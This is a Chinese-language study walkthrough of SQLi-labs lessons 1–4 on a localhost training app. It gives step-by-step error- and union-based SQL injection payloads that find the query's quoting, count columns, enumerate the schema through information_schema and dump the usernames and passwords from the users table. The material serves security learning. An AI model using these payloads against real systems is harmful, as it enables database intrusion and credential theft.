less-1
http://localhost/sqli/Less-1/index.php
http://localhost/sqli/Less-1/index.php?id=1
報錯測試1:
猜測sql查詢語句是select username,password feom the table where id = 參數
所以注入語句是and 1=1
,也就是:
http://localhost/sqli/Less-1/index.php?id=1 and 1=1
這時可以正常顯示,也就是說跟上圖一樣。
再試試注入語句and 1=2
,也就是:
http://localhost/sqli/Less-1/index.php?id=1 and 1=2
會發現也可以正常顯示,也就是說原本猜測的sql查詢語句是猜錯的。
報錯測試2:
猜測sql查詢語句是select username,password feom the table where id = '參數'
所以注入語句'
,也就是:
http://localhost/sqli/Less-1/index.php?id=1'
這時會顯示錯誤:
所以可以確認這一次猜對了select username,password feom the table where id = '參數'
這個查詢語句。以此為基礎來推測該怎麼進行惡意語句注入。
注入語句: 1' and '1' = '1
這時的查詢語句: select username,password feom the table where id = '1' and '1' = '1'
可以預期正常顯示,也就是不被報錯,實際上也的確如此。
注入語句: 1' and '1' = '2
這時的查詢語句: select username,password feom the table where id = '1' and '1' = '2'
可以預期顯示不正常,也就是報錯(但畫面不會顯示錯誤訊息):
正式注入:
猜測欄數
先假設只有一欄,那麼注入語句就是1' union select null--+
但顯示跟上上圖一樣,也就是不正長,所以猜錯了。注入語句改成1' union select null,null--+
也一樣:
這時再試試三個null: 1' union select null,null,null--+
順利變成正常頁面:
這時應再測試欄位型態,也就是把null改成'text',不過三欄應該就分別對應上圖的Dhakkan、Dumb、Dumb,不過也可以試試看,注入語句:
1' union select 'text',null,null--+
(??)注意要促使它報錯,才能在欄位中顯示想要的資訊,注入語句:
1' and 1=2 union select null,null,null--+
確認是哪一種DB(是MySQL、MS SQL、PostgreSQL還是Oracle)?
cheatsheet:
注入語句(用MySQL測試): 1' and 1=2 union select null,null,version()--+
所以是MySQL 8.0.31版。接下來就是用MySQL語法來洩漏資料庫內部內容。洩漏步驟為知道DB名稱->知道DB裡的table名稱->知道DB裡的table的column名稱->知道column裡面內容。
列出DB
1' and 1=2 union select null,null,schema_name FROM information_schema.schemata--+
列出DB的table
1' and 1=2 union select null,TABLE_NAME,null from information_schema.tables where TABLE_SCHEMA = 'mysql'--+
列出table的column
1' and 1=2 union select null,null,COLUMN_NAME FROM information_schema.columns WHERE TABLE_SCHEMA = 'mysql' AND TABLE_NAME = 'columns_priv'--+
列出column內容
1' and 1=2 union select null,null, Host FROM columns_priv--+
最後一步失敗,再想想別的途徑。原來是因為剛剛都只有列出一個DB、一個table、一個column,可以利用group_concat函數列出所有。另外,也不用列出全部DB,只要先從目前所在DB找起就好。
列出目前DB
1' and 1=2 union select null,null,database()--+
列出DB的table
1' and 1=2 union select null,null,group_concat(TABLE_NAME) from information_schema.tables where TABLE_SCHEMA = 'security'--+
列出table的column
1' and 1=2 union select null,null,group_concat(COLUMN_NAME) FROM information_schema.columns WHERE TABLE_SCHEMA = 'security' AND TABLE_NAME = 'users'--+
列出column內容
1' and 1=2 union select null,group_concat(username),group_concat(password) FROM users--+
less-2
這一次先猜測原始碼的查詢語句是: select username,password feom the table where id = '參數'
以此為基礎來進行顯錯注入,首先是:
1' and '1' = '1 --+
這時應該要可以正常顯示,但不如預期:
所以再猜原始碼的查詢語句是: select username,password feom the table where id = 參數
以此為基礎來進行顯錯注入,首先是:
1 and 1 = 1 --+
這時應該要可以正常顯示,也的確沒問題:
1 and 1 = 2 --+
這時應該顯示不正常,也的確如此:
1 and 1 = 2 union select null,null,null --+
後面就跟less-1一模一樣。
1 and 1 = 2 union select null,null,database() --+
列出DB的table
1 and 1=2 union select null,null,group_concat(TABLE_NAME) from information_schema.tables where TABLE_SCHEMA = 'security'--+
列出table的column
1 and 1=2 union select null,null,group_concat(COLUMN_NAME) FROM information_schema.columns WHERE TABLE_SCHEMA = 'security' AND TABLE_NAME = 'users'--+
列出column內容
1 and 1=2 union select null,group_concat(username),group_concat(password) FROM users--+
less-3
猜原始碼的查詢語句是: select username,password feom the table where id = 參數
以此為基礎來進行顯錯注入,但不管是
1 and 1=1 --+以及1 and 1=2 --+都正常顯示,所以原本猜測的語句不對。
再猜原始碼的查詢語句是: select username,password feom the table where id = '參數'
以此為基礎來進行顯錯注入,但不管是
1' and 1=1 --+以及1' and 1=2 --+都顯示不正常,所以原本猜測的語句不對。
再猜原始碼的查詢語句是: select username,password feom the table where id = ('參數')
以此為基礎來進行顯錯注入,
1') and 1=1 --+顯示正常:
1') and 1=2 --+顯示不正常:
所以原始碼的查詢語句是: select username,password feom the table where id = ('參數')
。接下來就是一模一樣的操作,只要把less-2的語句從1 and 1=2 union select...
改成1') and 1=2 union select...
即可。
less-4
既然都開宗明義說是DoubleQuotes,也就是"
,那可以大膽猜測原始碼的查詢語句是: select username,password feom the table where id = ("參數")
。所以可以實際試試:
1") and 1=1 --+可正常顯示
1") and 1=2 --+會顯示異常
所以這個語句是對的。之後的步驟跟less-3都相同,只要把less-2的語句從1 and 1=2 union select...
改成1") and 1=2 union select...
即可。